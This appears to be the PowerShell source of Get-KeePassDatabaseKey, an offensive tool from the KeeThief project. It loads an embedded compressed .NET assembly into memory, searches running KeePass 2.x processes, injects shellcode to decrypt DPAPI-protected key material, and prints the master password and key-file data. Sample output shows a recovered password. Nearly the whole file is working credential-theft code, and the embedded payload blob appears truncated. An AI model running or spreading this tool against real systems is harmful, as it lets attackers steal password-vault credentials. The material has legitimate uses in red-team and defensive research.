186 lines
353 KiB
PowerShell
186 lines
353 KiB
PowerShell
|
#requires -version 2
|
||
|
|
||
|
function Get-KeePassDatabaseKey {
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
|
||
|
Retrieves database mastey key information for unlocked KeePass database.
|
||
|
|
||
|
Function: Get-KeePassDatabaseKey
|
||
|
Author: Lee Christensen (@tifkin_), Will Schroeder (@harmj0y)
|
||
|
License: BSD 3-Clause
|
||
|
Required Dependencies: None
|
||
|
Optional Dependencies: None
|
||
|
|
||
|
.DESCRIPTION
|
||
|
|
||
|
Enumerates any KeePass 2.X (.NET) processes currently open, or takes a process object on the pipeline.
|
||
|
Loades the C# KeeTheft assembly into memory and for each open KeePass process executes the GetKeePassMasterKeys()
|
||
|
method on it. GetKeePassMasterKeys() will attach to the target KeePass process using CLR MD and enumerate
|
||
|
all CLR heap objects, searching for a KeePassLib.PwDatabase object. If one is found, the path is extracted
|
||
|
from the m_strUrl field, and all referenced objects are enumerated, searching for a KeePassLib.Keys.CompositeKey.
|
||
|
If a composite master key is found, information for each key type (KcpPassword, KcpKeyFile, KcpUserAccount)
|
||
|
is extracted, including the DPAPI encrypted data blobs of key data. For any encrypted blobs found, shellcode
|
||
|
is injected into the KeePass process that calls MyRtlDecryptMemory() to decrypt the DPAPI memory blobs,
|
||
|
returning the plaintext/unprotected key data.
|
||
|
|
||
|
.PARAMETER Process
|
||
|
|
||
|
Optional KeePass process object to pass in on the pipeline.
|
||
|
|
||
|
.EXAMPLE
|
||
|
|
||
|
PS C:\> Get-KeePassDatabaseKey -Verbose
|
||
|
VERBOSE: Examining KeePass process 4184 for master keys
|
||
|
|
||
|
|
||
|
Database : C:\Users\harmj0y.TESTLAB\Desktop\keepass\NewDatabase.kdbx
|
||
|
KeyType : KcpUserAccount
|
||
|
KeePassVersion : 2.34.0.0
|
||
|
ProcessID : 4184
|
||
|
ExecutablePath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.exe
|
||
|
EncryptedBlobAddress : 49045328
|
||
|
EncryptedBlob : {113, 148, 127, 29...}
|
||
|
EncryptedBlobLen : 64
|
||
|
PlaintextBlob : {120, 181, 162, 116...}
|
||
|
Plaintext : eLWidCSt...
|
||
|
KeyFilePath : C:\Users\harmj0y.TESTLAB\AppData\Roaming\KeePass\ProtectedUserKey.bin
|
||
|
|
||
|
Database : C:\Users\harmj0y.TESTLAB\Desktop\keepass\NewDatabase.kdbx
|
||
|
KeyType : KcpKeyFile
|
||
|
KeePassVersion : 2.34.0.0
|
||
|
ProcessID : 4184
|
||
|
ExecutablePath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.exe
|
||
|
EncryptedBlobAddress : 49037240
|
||
|
EncryptedBlob : {137, 185, 6, 97...}
|
||
|
EncryptedBlobLen : 32
|
||
|
PlaintextBlob : {177, 5, 150, 205...}
|
||
|
Plaintext : sQWWzdcT...
|
||
|
KeyFilePath : C:\Users\harmj0y.TESTLAB\Documents\s.license
|
||
|
|
||
|
Database : C:\Users\harmj0y.TESTLAB\Desktop\keepass\NewDatabase.kdbx
|
||
|
KeyType : KcpPassword
|
||
|
KeePassVersion : 2.34.0.0
|
||
|
ProcessID : 4184
|
||
|
ExecutablePath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.exe
|
||
|
EncryptedBlobAddress : 48920376
|
||
|
EncryptedBlob : {228, 78, 75, 16...}
|
||
|
EncryptedBlobLen : 16
|
||
|
PlaintextBlob : {80, 97, 115, 115...}
|
||
|
Plaintext : Password123!
|
||
|
KeyFilePath :
|
||
|
|
||
|
.EXAMPLE
|
||
|
|
||
|
PS C:\> Get-Process KeePass | Get-KeePassDatabaseKey -Verbose
|
||
|
VERBOSE: Examining KeePass process 4184 for master keys
|
||
|
|
||
|
|
||
|
Database : C:\Users\harmj0y.TESTLAB\Desktop\keepass\NewDatabase.kdbx
|
||
|
KeyType : KcpUserAccount
|
||
|
....
|
||
|
#>
|
||
|
[CmdletBinding()]
|
||
|
param (
|
||
|
[Parameter(Position = 0, ValueFromPipeline = $True)]
|
||
|
[System.Diagnostics.Process[]]
|
||
|
[ValidateNotNullOrEmpty()]
|
||
|
$Process
|
||
|
)
|
||
|
|
||
|
BEGIN {
|
||
|
if(-not $PSBoundParameters['Process']) {
|
||
|
try {
|
||
|
$Process = Get-Process KeePass -ErrorAction Stop | Where-Object {$_.FileVersion -match '^2\.'}
|
||
|
}
|
||
|
catch {
|
||
|
throw 'No KeePass 2.X instances open!'
|
||
|
}
|
||
|
}
|
||
|
|
||
|
# load file off of disk instead
|
||
|
# $Assembly = [Reflection.Assembly]::LoadFile((Get-Item -Path .\ReleaseKeePass.exe).FullName)
|
||
|
|
||
|
# the KeyTheft assembly, generated with "Out-CompressedDll -FilePath .\ReleaseKeePass.exe | Out-File -Encoding ASCII .\compressed.ps1"
|
||
|
$EncodedCompressedFile = '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
|
||
|
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
|
||
|
$UncompressedFileBytes = New-Object Byte[](738304)
|
||
|
$DeflatedStream.Read($UncompressedFileBytes, 0, 738304) | Out-Null
|
||
|
$Assembly = [Reflection.Assembly]::Load($UncompressedFileBytes)
|
||
|
}
|
||
|
|
||
|
PROCESS {
|
||
|
|
||
|
ForEach($KeePassProcess in $Process) {
|
||
|
|
||
|
if($KeePassProcess.FileVersion -match '^2\.') {
|
||
|
|
||
|
$WMIProcess = Get-WmiObject win32_process -Filter "ProcessID = $($KeePassProcess.ID)"
|
||
|
$ExecutablePath = $WMIProcess | Select-Object -Expand ExecutablePath
|
||
|
|
||
|
Write-Verbose "Examining KeePass process $($KeePassProcess.ID) for master keys"
|
||
|
|
||
|
$Keys = $Assembly.GetType('KeeTheft.Program').GetMethod('GetKeePassMasterKeys').Invoke($null, @([System.Diagnostics.Process]$KeePassProcess))
|
||
|
|
||
|
if($Keys) {
|
||
|
|
||
|
ForEach ($Key in $Keys) {
|
||
|
|
||
|
ForEach($UserKey in $Key.UserKeys) {
|
||
|
|
||
|
$KeyType = $UserKey.GetType().Name
|
||
|
|
||
|
$UserKeyObject = New-Object PSObject
|
||
|
$UserKeyObject | Add-Member Noteproperty 'Database' $UserKey.databaseLocation
|
||
|
$UserKeyObject | Add-Member Noteproperty 'KeyType' $KeyType
|
||
|
$UserKeyObject | Add-Member Noteproperty 'KeePassVersion' $KeePassProcess.FileVersion
|
||
|
$UserKeyObject | Add-Member Noteproperty 'ProcessID' $KeePassProcess.ID
|
||
|
$UserKeyObject | Add-Member Noteproperty 'ExecutablePath' $ExecutablePath
|
||
|
$UserKeyObject | Add-Member Noteproperty 'EncryptedBlobAddress' $UserKey.encryptedBlobAddress
|
||
|
$UserKeyObject | Add-Member Noteproperty 'EncryptedBlob' $UserKey.encryptedBlob
|
||
|
$UserKeyObject | Add-Member Noteproperty 'EncryptedBlobLen' $UserKey.encryptedBlobLen
|
||
|
$UserKeyObject | Add-Member Noteproperty 'PlaintextBlob' $UserKey.plaintextBlob
|
||
|
|
||
|
if($KeyType -eq 'KcpPassword') {
|
||
|
$Plaintext = [System.Text.Encoding]::UTF8.GetString($UserKey.plaintextBlob)
|
||
|
}
|
||
|
else {
|
||
|
$Plaintext = [Convert]::ToBase64String($UserKey.plaintextBlob)
|
||
|
}
|
||
|
|
||
|
$UserKeyObject | Add-Member Noteproperty 'Plaintext' $Plaintext
|
||
|
|
||
|
if($KeyType -eq 'KcpUserAccount') {
|
||
|
try {
|
||
|
$WMIProcess = Get-WmiObject win32_process -Filter "ProcessID = $($KeePassProcess.ID)"
|
||
|
$UserName = $WMIProcess.GetOwner().User
|
||
|
|
||
|
$ProtectedUserKeyPath = Resolve-Path -Path "$($Env:WinDir | Split-Path -Qualifier)\Users\*$UserName*\AppData\Roaming\KeePass\ProtectedUserKey.bin" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
|
||
|
|
||
|
$UserKeyObject | Add-Member Noteproperty 'KeyFilePath' $ProtectedUserKeyPath
|
||
|
|
||
|
}
|
||
|
catch {
|
||
|
Write-Warning "Error enumerating the owner of $($KeePassProcess.ID) : $_"
|
||
|
}
|
||
|
}
|
||
|
else {
|
||
|
$UserKeyObject | Add-Member Noteproperty 'KeyFilePath' $UserKey.keyFilePath
|
||
|
}
|
||
|
|
||
|
$UserKeyObject.PSObject.TypeNames.Insert(0, 'KeePass.Keys')
|
||
|
$UserKeyObject
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
else {
|
||
|
Write-Verbose "No keys found for $($KeePassProcess.ID)"
|
||
|
}
|
||
|
}
|
||
|
else {
|
||
|
Write-Warning "Only KeePass 2.X is supported at this time."
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
}
|